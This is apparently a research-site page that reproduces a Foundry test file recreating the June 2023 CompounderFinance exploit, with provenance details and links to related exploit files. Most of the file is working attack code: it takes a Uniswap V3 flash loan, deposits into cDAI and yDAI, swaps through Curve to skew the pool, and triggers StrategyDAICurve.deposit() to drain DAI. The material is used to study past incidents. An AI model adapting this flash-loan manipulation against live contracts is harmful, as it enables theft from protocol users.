Public reproduction file
src/test/2023-06/CompounderFinance_exp.sol
Public reproduction file for dataset entry CompounderFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~27,174K USD$8// Attacker : https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f32789// Attack Contract : https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b10// Vulnerable Contract : https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d011// Attack Tx : https://etherscan.io/tx/0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b113// @Analysis14// https://twitter.com/numencyber/status/166634641970236211216interface IcDAI {17 function balanceOf(18 address owner19 ) external view returns (uint256);21 function deposit(uint256 _amount, bool _autoStakeInStakingPool) external;23 function withdraw(uint256 _shares, bool _autoWithdrawInStakingPool) external;24}26interface IyDAI {27 function balanceOf(28 address owner29 ) external view returns (uint256);31 function approve(address spender, uint256 value) external returns (bool);33 function deposit(34 uint256 _amount35 ) external;37 function withdraw(38 uint256 _shares39 ) external;40}42interface ICurveSwap {43 function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;44}46interface IStrategyCurve {47 function deposit() external;48}50contract ContractTest is Test {51 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);52 // Compounder DAI Stablecoin53 IcDAI cDAI = IcDAI(0x2381742592ab54dC2e89f193AF682D914A8b24C1);54 // iearn DAI55 IyDAI yDAI = IyDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);56 IERC20 yUSDC = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);57 IERC20 yUSDT = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);58 IERC20 yTUSD = IERC20(0x73a052500105205d34Daf004eAb301916DA8190f);59 IERC20 CentreUSDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);60 Uni_Pair_V3 DAIUSDCPool = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);61 ICurveSwap CurveFiSwap = ICurveSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);62 IStrategyCurve StrategyDAICurve = IStrategyCurve(0xaf274e912243b19B882f02d731dacd7CD13072D0);63 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);65 function setUp() public {66 cheats.createSelectFork("mainnet", 17_426_064);67 cheats.label(address(DAI), "DAI");68 cheats.label(address(cDAI), "cDAI");69 cheats.label(address(yDAI), "yDAI");70 cheats.label(address(yUSDC), "yUSDC");71 cheats.label(address(yUSDT), "yUSDT");72 cheats.label(address(yTUSD), "yTUSD");73 cheats.label(address(CentreUSDC), "CentreUSDC");74 cheats.label(address(DAIUSDCPool), "DAIUSDCPool");75 cheats.label(address(CurveFiSwap), "CurveFiSwap");76 cheats.label(address(StrategyDAICurve), "StrategyDAICurve");77 }79 function testExploit() public {80 emit log_named_decimal_uint("Attacker amount of DAI before hack", DAI.balanceOf(address(this)), DAI.decimals());82 // Step 1. Flashloan 1_239 DAI through Uniswap V3 flash loans83 DAIUSDCPool.flash(address(this), 1_239_990 * 1e18, 0, "");85 emit log_named_decimal_uint("Attacker amount of DAI after hack", DAI.balanceOf(address(this)), DAI.decimals());86 }88 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {89 // Approvals90 DAI.approve(address(yDAI), type(uint256).max);91 DAI.approve(address(cDAI), type(uint256).max);92 yDAI.approve(address(CurveFiSwap), type(uint256).max);93 yUSDC.approve(address(CurveFiSwap), type(uint256).max);94 yUSDT.approve(address(CurveFiSwap), type(uint256).max);95 yTUSD.approve(address(CurveFiSwap), type(uint256).max);97 // Step 2. Deposit 200_000 DAI and 1_000_000 DAI. Receive ~ 1_340_000 cDAI and 880_000 yDAI, respectively98 cDAI.deposit(200_000 * 1e18, false);99 yDAI.deposit(1_000_000 * 1e18);101 // Step 3. Exchange 50_000 yDAI for ~41_000 yUSDC, 160,000 yDAI for ~94,000 yTUSD and the rest of yDAI balance for ~48,693,900 yUSDT102 CurveFiSwap.exchange(0, 1, 50_000 * 1e18, 0);103 CurveFiSwap.exchange(0, 3, 160_000 * 1e18, 0);104 CurveFiSwap.exchange(0, 2, yDAI.balanceOf(address(this)), 0);106 // Step 4. Withdraw deposit ~1_340_000 cDAI and immediately call the StrategyDAICurve deposit function107 // This step involved depositing all the current DAI tokens into the contract and adding yDAI liquidity, which disrupted the balance of the trading pair108 DAI.transfer(address(StrategyDAICurve), DAI.balanceOf(address(this)));109 cDAI.withdraw(cDAI.balanceOf(address(this)), false);110 StrategyDAICurve.deposit();112 // Step 5. Reverse 3 conversions from step 3113 CurveFiSwap.exchange(1, 0, yUSDC.balanceOf(address(this)), 0);114 CurveFiSwap.exchange(2, 0, yUSDT.balanceOf(address(this)), 0);115 CurveFiSwap.exchange(3, 0, yTUSD.balanceOf(address(this)), 0);117 // Step 6. Release accumulated yDAI from deposit (~910_000 yDAI). The result of this step is withdrawal of ~1_030_000 DAI118 yDAI.withdraw(yDAI.balanceOf(address(this)));120 // Step 7. Repay flashloan.121 DAI.transfer(address(DAIUSDCPool), 1_239_990 * 1e18 + fee0);122 }123}Analysis
Dataset entry
Public Foundry test for “CompounderFinance” (2023-06-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0e816b0d0a66252c72af822d3e0773a2676f3278
- Attack Contract
0x2d7973177d594237a9b347cd41082af4cbb40f2b
- Vulnerable Contract
0xaf274e912243b19b882f02d731dacd7cd13072d0
- Attack Tx
0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b1
- Explorer: https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f3278
- Explorer: https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b
- Explorer: https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d0
- Reference: https://twitter.com/numencyber/status/1666346419702362112
File record
- Name
- CompounderFinance
- Path
- src/test/2023-06/CompounderFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- fb0243443b222d3034993fa79946c11f00820062
- Language
- Solidity
- Size
- 124 lines
- Date
- 2023-06-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/CompounderFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fb0243443b222d3034993fa79946c11f00820062, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.